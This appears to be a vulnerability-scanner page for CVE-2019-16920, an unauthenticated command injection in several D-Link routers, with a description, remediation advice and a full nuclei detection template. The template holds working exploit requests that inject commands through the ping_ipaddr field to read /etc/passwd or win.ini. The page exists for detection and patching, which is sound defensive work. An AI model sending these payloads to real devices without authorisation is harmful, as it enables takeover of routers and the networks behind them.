D-Link Routers - Remote Code Execution

Exploited in the wild. Listed by CISA on 2022-03-25; known to be used by ransomware.

criticalseverity

9.8CVSS score

100%likelihood of exploitation, next 30 days

100%of all CVEs are less likely

Readycheck to confirm it

D-Link products such as DIR-655C, DIR-866L, DIR-652, and DHP-1565 contain an unauthenticated remote code execution vulnerability. The issue occurs when the attacker sends an arbitrary input to a "PingTest" device common gateway interface that could lead to common injection. An attacker who successfully triggers the command injection could achieve full system compromise. Later, it was independently found that these issues also affected; DIR-855L, DAP-1533, DIR-862L, DIR-615, DIR-835, and DIR-825.

Impact

Successful exploitation of this vulnerability allows an attacker to execute arbitrary code on the affected router, potentially leading to complete compromise of the device and the network it is connected to.

Fix

Apply the latest firmware update provided by D-Link to mitigate this vulnerability.

How to confirm it

Send: POST /apply_sec.cgi
Positive when: matches /root:.*:0:0:/ AND status 200

Run it with nuclei: nuclei -id CVE-2019-16920 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2019-16920

info:
  name: D-Link Routers - Remote Code Execution
  author: dwisiswant0
  severity: critical
  description: D-Link products such as DIR-655C, DIR-866L, DIR-652, and DHP-1565 contain an unauthenticated remote code execution vulnerability. The issue occurs when the attacker sends an arbitrary input to a "PingTest" device common gateway interface that could lead to common injection. An attacker who successfully triggers the command injection could achieve full system compromise. Later, it was independently found that these issues also affected; DIR-855L, DAP-1533, DIR-862L, DIR-615, DIR-835, and DIR-825.
  impact: |
    Successful exploitation of this vulnerability allows an attacker to execute arbitrary code on the affected router, potentially leading to complete compromise of the device and the network it is connected to.
  remediation: |
    Apply the latest firmware update provided by D-Link to mitigate this vulnerability.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2019-16920
    - https://github.com/pwnhacker0x18/CVE-2019-16920-MassPwn3r
    - https://fortiguard.com/zeroday/FG-VD-19-117
    - https://www.seebug.org/vuldb/ssvid-98079
    - https://medium.com/@80vul/determine-the-device-model-affected-by-cve-2019-16920-by-zoomeye-bf6fec7f9bb3
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2019-16920
    cwe-id: CWE-78
    epss-score: 0.99996
    epss-percentile: 0.99988
    cpe: cpe:2.3:o:dlink:dir-655_firmware:*:*:*:*:*:*:*:*
  metadata:
    max-request: 3
    vendor: dlink
    product: dir-655_firmware
  tags: cve2019,cve,dlink,rce,router,unauth,kev,vkev,vuln

http:
  - raw:
      - |
        POST /apply_sec.cgi HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded
        Referer: {{BaseURL}}

        html_response_page=login_pic.asp&login_name=YWRtaW4%3D&log_pass=&action=do_graph_auth&login_n=admin&tmp_log_pass=&graph_code=&session_id=62384
      - |
        POST /apply_sec.cgi HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded
        Referer: {{BaseURL}}/login_pic.asp
        Cookie: uid=1234123

        html_response_page=login_pic.asp&action=ping_test&ping_ipaddr=127.0.0.1%0a{{url_encode('cat /etc/passwd')}}
      - |
        POST /apply_sec.cgi HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded
        Referer: {{BaseURL}}/login_pic.asp
        Cookie: uid=1234123

        html_response_page=login_pic.asp&action=ping_test&ping_ipaddr=127.0.0.1%0a{{url_encode('type C:\\Windows\\win.ini')}}

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - "root:.*:0:0:"
          - "\\[(font|extension|file)s\\]"
        condition: or

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from